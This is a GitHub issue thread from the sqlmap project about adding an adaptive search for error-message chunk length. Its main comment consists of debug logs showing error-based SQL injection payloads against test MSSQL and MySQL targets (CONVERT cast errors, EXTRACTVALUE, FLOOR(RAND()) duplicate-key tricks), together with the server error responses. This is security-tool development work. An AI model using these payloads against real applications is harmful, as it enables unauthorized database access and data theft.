Adaptive error-chunk length search #1360

Activity

1. stamparm

   added

   enhancement

   normal

   request

   on Aug 26, 2015
2. stamparm

   added this to the 1.0 milestone on Aug 26, 2015
3. stamparm

   self-assigned this

   on Aug 26, 2015
4. stamparm

   added a commit that references this issue on Aug 26, 2015

   Implementation for an Issue #1360

   a33b045
5. stamparm commented on Aug 26, 2015

   

   stamparm

   on Aug 26, 2015

   MemberAuthor

   More actions

   MsSQL (chunk length 401):

   [15:27:17] [DEBUG] searching for error chunk length...
   [15:27:17] [PAYLOAD] 1 AND 8891=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(98)+CHAR(120)+CHAR(113)+(SELECT REPLICATE(CHAR(52),1024))+CHAR(113)+CHAR(106)+CHAR(118)+CHAR(106)+CHAR(113)))
   [15:27:17] [DEBUG] got HTTP error code: 500 (Internal Server Error)
   [15:27:17] [WARNING] parsed DBMS error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
   [Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the varchar value 'qzbxq4444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444
   <b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
   [15:27:17] [PAYLOAD] 1 AND 1663=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(98)+CHAR(120)+CHAR(113)+(SELECT REPLICATE(CHAR(49),401))+CHAR(113)+CHAR(106)+CHAR(118)+CHAR(106)+CHAR(113)))
   [15:27:17] [DEBUG] got HTTP error code: 500 (Internal Server Error)
   [15:27:17] [WARNING] parsed DBMS error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
   [Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the varchar value 'qzbxq11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111qjvjq
   <b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
   

   MySQL (chunk length 21):

   [15:28:12] [DEBUG] searching for error chunk length...
   [15:28:12] [PAYLOAD] 1 AND EXTRACTVALUE(3799,CONCAT(0x5c,0x716a716271,(SELECT REPEAT(0x34,1024)),0x7170626a71))
   [15:28:12] [WARNING] parsed DBMS error message: 'XPATH syntax error: '\qjqbq44444444444444444444444444''
   [15:28:12] [PAYLOAD] 1 AND EXTRACTVALUE(7900,CONCAT(0x5c,0x716a716271,(SELECT REPEAT(0x31,21)),0x7170626a71))
   [15:28:12] [WARNING] parsed DBMS error message: 'XPATH syntax error: '\qjqbq111111111111111111111qpbjq''
   

   MySQL (chunk length 54):

   [15:29:07] [DEBUG] searching for error chunk length...
   [15:29:07] [PAYLOAD] 1 AND (SELECT 9360 FROM(SELECT COUNT(*),CONCAT(0x7178706271,(SELECT REPEAT(0x34,1024)),0x71766b7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
   [15:29:07] [WARNING] parsed DBMS error message: 'Subquery returns more than 1 row'
   [15:29:07] [PAYLOAD] 1 AND (SELECT 1603 FROM(SELECT COUNT(*),CONCAT(0x7178706271,(SELECT REPEAT(0x32,512)),0x71766b7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
   [15:29:07] [WARNING] parsed DBMS error message: 'Subquery returns more than 1 row'
   [15:29:07] [PAYLOAD] 1 AND (SELECT 5128 FROM(SELECT COUNT(*),CONCAT(0x7178706271,(SELECT REPEAT(0x36,256)),0x71766b7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
   [15:29:07] [WARNING] parsed DBMS error message: 'Duplicate entry 'qxpbq66666666666666666666666666666666666666666666666666666666666' for key 'group_key''
   [15:29:07] [PAYLOAD] 1 AND (SELECT 1483 FROM(SELECT COUNT(*),CONCAT(0x7178706271,(SELECT REPEAT(0x34,54)),0x71766b7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
   [15:29:07] [WARNING] parsed DBMS error message: 'Duplicate entry 'qxpbq444444444444444444444444444444444444444444444444444444qvkpq' for key 'group_key''
   
6. stamparm

   closed this as completedon Aug 26, 2015
7. stamparm

   changed the title [-]Adaptive error-chunk lengths[/-] [+]Adaptive error-chunk length search[/+] on Aug 26, 2015